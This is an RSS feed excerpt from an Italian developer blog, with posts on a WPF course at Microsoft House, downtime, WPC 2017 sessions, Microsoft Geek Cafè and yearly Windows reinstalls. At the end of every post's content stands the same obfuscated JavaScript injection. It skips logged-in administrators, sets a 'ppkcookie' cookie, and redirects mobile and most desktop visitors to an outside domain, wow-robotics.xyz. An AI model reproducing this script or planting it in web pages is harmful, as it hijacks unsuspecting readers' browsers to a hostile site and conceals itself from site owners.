<p><a href="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/MicrosoftHouse.jpg"><img class="alignnone wp-image-3010" src="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/MicrosoftHouse-1024x502.jpg" alt="" width="699" height="343" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/MicrosoftHouse-1024x502.jpg 1024w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/MicrosoftHouse-300x147.jpg 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/MicrosoftHouse-768x377.jpg 768w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/MicrosoftHouse.jpg 1280w" sizes="(max-width: 699px) 100vw, 699px" /></a></p>
<p>Lunedì 21, parlando con i quattro partecipanti, si era ventilata un&#8217;idea bizzarra ma divertente, ovvero quella di svolgere l&#8217;ultima giornata proprio in Microsoft House. Nessuno aveva mai proposto una cosa simile, a quanto pare. L&#8217;idea nasce inizialmente nel mio cervello, poi la espongo e racconto agli amici (tecnici) di Overnet, che tutto sommato non la trovano così sgradevole, anzi… La palla passa poi ai commerciali, che mi appoggiano, a patto ovviamente di riuscire a trovare e prenotare una saletta in Microsoft House per il 24 Maggio, durante i Community Days. Scrivo di getto una mail all&#8217;amico Andrea Benedetti, di Microsoft Italia, che senza troppe domande prenota la Design Suite al primo piano della nuova spettacolare sede.</p>
<p>Quindi, il gioco è fatto.<br />
Eccoci qua!</p>
<p><a href="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/WPF_Sebia_ItalArchivi.jpeg"><img class="alignnone size-large wp-image-3004" src="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/WPF_Sebia_ItalArchivi-1024x769.jpeg" alt="" width="600" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/WPF_Sebia_ItalArchivi-1024x769.jpeg 1024w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/WPF_Sebia_ItalArchivi-300x225.jpeg 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/WPF_Sebia_ItalArchivi-768x577.jpeg 768w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/WPF_Sebia_ItalArchivi.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></p>
<p>Ecco una foto dei quattro partecipanti del corso. Da sinistra verso destra sono: <strong>Michele</strong>, io, <strong>Marco</strong>, <strong>Alessandro</strong> ed <strong>Alberto</strong>. Michele ed Alessandro appartengono ad una società, mentre Marco e Alberto ad un&#8217;altra.</p>
<p>E&#8217; stata una giornata incredibile. Sole estivo, sede in gran spolvero, accoglienza magnifica, saletta spaziosa e bellissima, clima divertente, WPF spremuto fino (quasi) all&#8217;ultima riga di XAML. A metà mattina abbiamo fatto una breve pausa, e sul nostro piano ci siamo anche beccati un meeting con HoloLens. Non farò nomi perchè sarebbero troppi, ma mando un saluto a tutti quelli che ci hanno intravisto nella nostra sala per il corso.</p>
<p>Ovviamente c&#8217;è da ringraziare un po&#8217; tutti: <span style="color: #339966"><strong>il personale di Overnet Education</strong></span> che ha reso possibile questa iniziativa, <span style="color: #339966"><strong>Microsoft nella persona di Andrea Benedetti</strong></span> per la disponibilità e la tempestività con la quale è intervenuto ed agito.</p>
<p><a href="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/P_20180524_133819.jpg"><img class="alignnone size-large wp-image-3007" src="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/P_20180524_133819-1024x768.jpg" alt="" width="600" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/P_20180524_133819-1024x768.jpg 1024w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/P_20180524_133819-300x225.jpg 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/05/P_20180524_133819-768x576.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></p>
<p>Non ho potuto seguire le sessioni, ovviamente, ma è stato comunque bello incrociare gli amici di community di sempre, quelli che abitano lontani e quelli che abitano vicino, chi in Italia e chi all&#8217;estero.</p>
<p>Chissà, magari è un&#8217;esperienza che si potrà ripetere anche in futuro. Speriamo.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/05/27/parlare-di-wpf-in-microsoft-house.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>L&#8217;importanza dei tempi morti</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/01/10/limportanza-dei-tempi-morti.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=limportanza-dei-tempi-morti</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/01/10/limportanza-dei-tempi-morti.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Wed, 10 Jan 2018 07:50:24 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2982</guid>

					<description><![CDATA[Partiamo da un semplice presupposto: noi umani non siamo macchine pensate per produrre solo ed esclusivamente profitto, e non siamo stati progettati per avere una availability lavorativa del 99,99%. Per vivere bene, a lungo ed in salute abbiamo bisogno dei nostri tempi morti, che vengono scioccamente chiamati così ma che invece non lo sono affatto, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Partiamo da un semplice presupposto: noi umani non siamo macchine pensate per produrre solo ed esclusivamente profitto, e non siamo stati progettati per avere una <em>availability</em> lavorativa del 99,99%. Per vivere bene, a lungo ed in salute abbiamo bisogno dei nostri tempi morti, che vengono scioccamente chiamati così ma che invece non lo sono affatto, almeno per quanto mi riguarda. La notte, durante il sonno, noi non facciamo nulla di cosciente, ma il nostro cervello lavora comunque ed ha bisogno di farlo, e si occupa di attività che non potrebbe svolgere durante il giorno. Il sogno è una fra queste, ad esempio. E, credetemi, sognare serve.</p>
<p>Per questa ragione, mi preoccupa un po&#8217; sentire parlare amici e colleghi di come diminuire i tempi morti nelle proprie giornate, allo scopo di ritagliare tempo per il lavoro. Oggi si sta cavalcando moltissimo l&#8217;idea della macchina che guida da sola, e tantissimi (giustamente?) non vedono l&#8217;ora che diventi realtà. &#8220;Sai quanto tempo potremmo guadagnare ogni giorno?&#8221;, &#8220;Sai quanto tempo passo in coda per andare al lavoro?&#8221;. Certo, ovviamente, ovvio che in queste circostanze l&#8217;auto a guida autonoma potrebbe tornare utile. Ma mi dà terribilmente fastidio vedere come ci siano persone disposte a tutto pur di guadagnare tempo. Fidatevi: il tempo non basta mai, se riempiamo troppo le nostre giornate. Sarebbe una continua rincorsa. Non per niente a volte si afferma di aver bisogno di giornate da 48 ore. In futuro qualcuno potrebbe proporre di non dormire così tanto, o che mangiare come facciamo oggi è del tutto inutile (potremmo ingoiare una pillola in 15 secondi con tutte le sostanze che abbiamo bisogno), etc. etc. Passare del tempo bloccati in auto è ovvio che è una perdita di tempo, ma sarebbe una perdita di tempo anche un serata in pessima compagnia o un pranzo indigesto; la soluzione ad un pranzo indigesto non è evitare di mangiare, ma è mangiare meglio. La soluzione ad un viaggio in auto andato storto non è evitare di guidare facendolo fare ad una macchina o ad un software, ma è guidare in condizioni migliori (partire in un altro momento). Dobbiamo distinguere tra attività noiose e monotone, per le quali i software sono portati, ed attività che ad oggi sembrano perlopiù dei contrattempi ma che possiamo migliorare.</p>
<p>I &#8220;tempi morti&#8221; dal mio punto di vista sono importanti. Quante volte vi è capitato di avere un&#8217;idea mentre facevate tutt&#8217;altro? Magari proprio alla guida o mentre siete in bagno a farvi la barba? I &#8220;tempi morti&#8221; sono intervalli di tempo durante i quali non fate razionalmente una determinata attività, ma il vostro cervello &#8211; fidatevi &#8211; sta lavorando eccome. E dietro le quinte sta proprio lavorando a quel problema di AngularJS o WPF che vi affligge. Penso che per vivere e lavorare bene una persona debba assolutamente godere di tempi morti, passati davanti ad un videogioco, alla lettura di un libro, alla guida di un&#8217;auto durante una gita fuori porta, in coda alla cassa, in attesa alle Poste o all&#8217;ospedale. Come dicevo all&#8217;inizio, non siamo individui pensati per produrre e basta, ma dobbiamo soprattutto vivere. Ed i tempi morti sono parte della vita. Personalmente, per lavorare bene ed in modo efficace ho bisogno dei miei tempi di svago, e non riesco a switchare da un&#8217;attività all&#8217;altra a costo zero, come fa in modo continuo un PC. Prima di passare da un corso all&#8217;altro, per esempio, ho bisogno di tempo per fare altro, per staccare la spina un attimo, perchè non è per nulla semplice gestire classi di X persone parlando di tecnologia e di sviluppo del software.</p>
<p>Ritengo che il consumismo sfrenato ci stia un po&#8217; facendo perdere parecchio di vista la bussola della nostra vita. Siccome abbiamo sempre più da fare, sempre più da leggere e da scrivere e da criticare, sempre più da correre e sempre più in fretta, siamo costantemente alla ricerca di blocchi di secondi e minuti da ritagliare qua e là. No, così non va. O perlomeno non è il modo in cui mi piace vivere.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/01/10/limportanza-dei-tempi-morti.aspx/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Quando ero giovane&#8230;</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/11/30/quando-ero-giovane.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=quando-ero-giovane</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/11/30/quando-ero-giovane.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Thu, 30 Nov 2017 10:10:42 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2974</guid>

					<description><![CDATA[Ieri durante WPC 2017 ho tenuto due sessioni: 30 minuti appena dopo pranzo dedicati a Universal Windows Platform un&#8217;intera giornata di workshop dedicata a Xamarin Forms, insieme a Gabriele Gaggi ed Ugo Lattanzi, durante la quale abbiamo sviluppato un&#8217;app mobile in stile Netflix Ringrazio tutti coloro che mi hanno fermato per farmi i complimenti, relativamente [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Ieri durante WPC 2017 ho tenuto due sessioni:</p>
<ul>
<li>30 minuti appena dopo pranzo dedicati a Universal Windows Platform</li>
<li>un&#8217;intera giornata di workshop dedicata a Xamarin Forms, insieme a Gabriele Gaggi ed Ugo Lattanzi, durante la quale abbiamo sviluppato un&#8217;app mobile in stile Netflix</li>
</ul>
<p>Ringrazio tutti coloro che mi hanno fermato per farmi i complimenti, relativamente alla competenza tecnica, alla simpatia o alla capacità di coinvolgimento.</p>
<p><strong>Vi racconterò un mio piccolo punto di vista personale.</strong> Quando ero più giovane, ed ascoltavo le sessioni tenute dagli altri durante gli eventi community, quelle che mi piacevano di più erano quelle che potevo sfruttare il giorno dopo, quelle che mi davano tanta passione e tanta voglia.</p>
<p>E&#8217; quello che cerco di fare io oggi, che tocca a me fare il relatore. Non mi interessa raccontarvi tutto quello che so nel tentativo di <em>farmi bello</em>, o di pavoneggiarmi nei confronti di chi mi sta a sentire. Mi interessa invece raccontarvi qualcosa che vi faccia sbavare dalla voglia di mettere mano al codice, di farvi sentire per qualche minuto in un mondo più grande e più figo, pieno di possibilità tutte da scoprire. Durante le mie sessioni tecniche voglio farvi divertire, perchè grazie al divertimento si impara di più e meglio.</p>
<p>Grazie a tutti!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/11/30/quando-ero-giovane.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Proud member of Microsoft Geek Cafè</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/05/17/proud-member-of-microsoft-geek-cafe.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=proud-member-of-microsoft-geek-cafe</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/05/17/proud-member-of-microsoft-geek-cafe.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Wed, 17 May 2017 08:16:53 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2958</guid>

					<description><![CDATA[Da qualche settimana sono ufficialmente un membro del Microsoft Geek Cafè. Di cosa si tratta? E&#8217; un&#8217;iniziativa di Microsoft Italia che mette in contatto fra loro tutti gli appassionati delle tecnologie Microsoft. Quindi se avete una XBOX, se avete amato gli smartphone Windows Phone, se credete che Windows sia il miglior sistema operativo mai creato, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Da qualche settimana sono ufficialmente un membro del <strong>Microsoft Geek Cafè</strong>.<br />
Di cosa si tratta?</p>
<p>E&#8217; un&#8217;iniziativa di Microsoft Italia che mette in contatto fra loro tutti gli appassionati delle tecnologie Microsoft. Quindi se avete una XBOX, se avete amato gli smartphone Windows Phone, se credete che Windows sia il miglior sistema operativo mai creato, se avete tastiere/mouse/webcam targati Microsoft, se utilizzate Surface o Surface Pro tutti i giorni, e soprattutto se desiderate condividere con il mondo questa vostra passione, il <strong>Microsoft Geek Cafè</strong> è il posto giusto da frequentare.</p>
<p><a href="http://blog.vivendobyte.net/blog/wp-content/uploads/2017/05/IMG_20170509_185613.jpg"><img class="alignnone size-full wp-image-2960" src="http://blog.vivendobyte.net/blog/wp-content/uploads/2017/05/IMG_20170509_185613.jpg" alt="" width="550" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2017/05/IMG_20170509_185613.jpg 800w, http://blog.vivendobyte.net/blog/wp-content/uploads/2017/05/IMG_20170509_185613-300x168.jpg 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2017/05/IMG_20170509_185613-768x431.jpg 768w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Da qualche giorno ho ricevuto il <strong>Welcome Kit</strong> del <strong>Microsoft Geek Cafè</strong>, di cui ho postato una fotografia qui sopra. Una maglietta scelta da ciascuno di noi, una tazza ed un controller per XBOX e PC molto molto figo, capace di funzionare anche in modalità wireless via Bluetooth.</p>
<p>E poi, all&#8217;atto pratico, vi starete chiedendo, cosa comporta essere un membro di questo <strong>Geek Cafè</strong>? Beh, Microsoft fa testare a ciascuno di noi device di ultima generazione, magari appena arrivati sul mercato, come tablet, XBOX e diversi modelli di PC, laptop e convertibili. Parteciperemo ad eventi ed iniziative riservate. Siamo molto attivi sui social, grazie ai quali cerchiamo di portare le nostre idee e le nostre recensioni sui prodotti che testiamo e proviamo.</p>
<p>Onestamente penso che qualsiasi iniziativa ci porti a diffondere ed a far conoscere la qualità dei prodotti Microsoft aiuta, aiuta eccome. Non lasciamo che siano solo gli altri, con le loro campagne marketing, a dire la loro, ma anche noi dobbiamo dire la nostra.</p>
<p>Benvenuto <strong>Microsoft Geek Cafè</strong>!!!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/05/17/proud-member-of-microsoft-geek-cafe.aspx/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Lo fanno gli chef, perchè non dovrei farlo io?</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/04/11/lo-fanno-gli-chef-perche-non-dovrei-farlo-io.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=lo-fanno-gli-chef-perche-non-dovrei-farlo-io</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/04/11/lo-fanno-gli-chef-perche-non-dovrei-farlo-io.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 11 Apr 2017 08:27:32 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2947</guid>

					<description><![CDATA[C&#8217;è una cosa che sicuramente abbiamo imparato dalle innumerevoli trasmissioni TV dedicate al mondo della cucina: gli chef, al termine del loro lavoro, ogni giorno, puliscono e mantengono pulite sempre le loro attrezzature di lavoro. Fornelli, banchi da lavoro, lavandini. Tengono in ottimo stato di pulizia i frigoriferi, i forni, i congelatori e gli abbattitori. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>C&#8217;è una cosa che sicuramente abbiamo imparato dalle innumerevoli trasmissioni TV dedicate al mondo della cucina: <strong>gli chef</strong>, al termine del loro lavoro, ogni giorno, <strong>puliscono e mantengono pulite sempre le loro attrezzature di lavoro</strong>. Fornelli, banchi da lavoro, lavandini. <strong>Tengono in ottimo stato di pulizia</strong> i frigoriferi, i forni, i congelatori e gli abbattitori. <strong>Evitano che formiche e scarafaggi invadano le loro cucine</strong>. Perché alla fine quel lavoro dietro le quinte &#8211; che noi non vediamo &#8211; determina la qualità del loro lavoro, e del cibo che viene servito nei nostri piatti. <strong>Lavorare in un posto di lavoro bello da vedere, fa lavorare meglio.</strong></p>
<p>E quindi perché non dovrei farlo pure io? C&#8217;è una cosa a cui ho sempre prestato attenzione, nel mio lavoro. Al fatto che il mio Windows deve essere sempre in pieno stato di forma. Tassativo: formattazione una volta all&#8217;anno. Tassativo! Dopo un anno, è normale che tutti gli aggiornamenti &#8211; di qualsiasi software, non solo del sistema operativo &#8211; bene o male riducano l&#8217;efficienza del nostro principale ambiente di lavoro. E la situazione è accentuata se si gioca con le build Windows Insider, oppure con le beta delle suite Infragistics o DevExpress (è solo un esempio), oppure se si inseriscono barbatrucchi nel sistema operativo (firewall, servizi, security, altro?) o in qualche software. L&#8217;ordine con cui installo il software (sistema operativo, driver, applicativi, etc.) è ben documentato, da anni ormai, per fare in modo di non avere intoppi e tornano al lavoro nel minor tempo possibile. Sto lavorando in questi giorni &#8211; a tempo perso &#8211; ad una versione &#8220;community&#8221; del mio documento RTF che mantengo da molto tempo, in modo che possa condividerlo con tutti voi. Sono certo che lo troverete più che utile.</p>
<p>Perché, badate bene, se abbiamo un designer XAML troppo lento, o abbiamo Esplora Risorse che ogni tanto si inchioda, o abbiamo Hyper-V che non riesce ad avviare qualche macchina virtuale, forse tutto è dovuto ad un ambiente configurato male, oppure che sopravvive malamente al trascorrere del tempo o alle migrazioni tra una build e l&#8217;altra di Windows 10. Molti di noi, per correggere un problema sorto con Windows, o con Visual Studio, tentano la riparazione di questo o quello: non c&#8217;è nulla di male, sia chiaro, ogni tanto pure io tento quella strada, ma bisogna essere assolutamente consapevoli che deve essere solo una soluzione temporanea. Nella mia testa non c&#8217;è alcun dubbio su questo. Si formatta appena si ha tempo. Punto.</p>
<p>Secondo i miei calcoli, reinstallare Windows e praticamente tutti i miei software per sviluppare richiede sì e no circa 4 ore. Facciamo pure che vi porti via un&#8217;intera giornata di lavoro. 8 ore all&#8217;anno (oppure ogni sei mesi?) da dedicare al vostro PC con cui lavorate tutti i giorni. Non mi sembrano così tante, onestamente. Esattamente come gli chef dedicano attenzione alla loro cucina. Esattamente come un ciclista professionista cura ed ama la sua bicicletta per gareggiare al Giro d&#8217;Italia. Esattamente come un garzone del falegname, che ogni 2-3 giorni spazza il laboratorio per evitare di venir sommersi dalla segatura. Esattamente come una scuderia di F1, che studia e prepara il setup della monoposto per far conquistare la pole position al suo pilota.</p>
<p>Lo fanno i tanto blasonati chef stellati in TV, perchè non dovremmo farlo anche noi?<br />
Siamo per caso meno professionisti di loro? No, vero?<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/04/11/lo-fanno-gli-chef-perche-non-dovrei-farlo-io.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Visual Studio 2017 ed il mese di aprile</title>
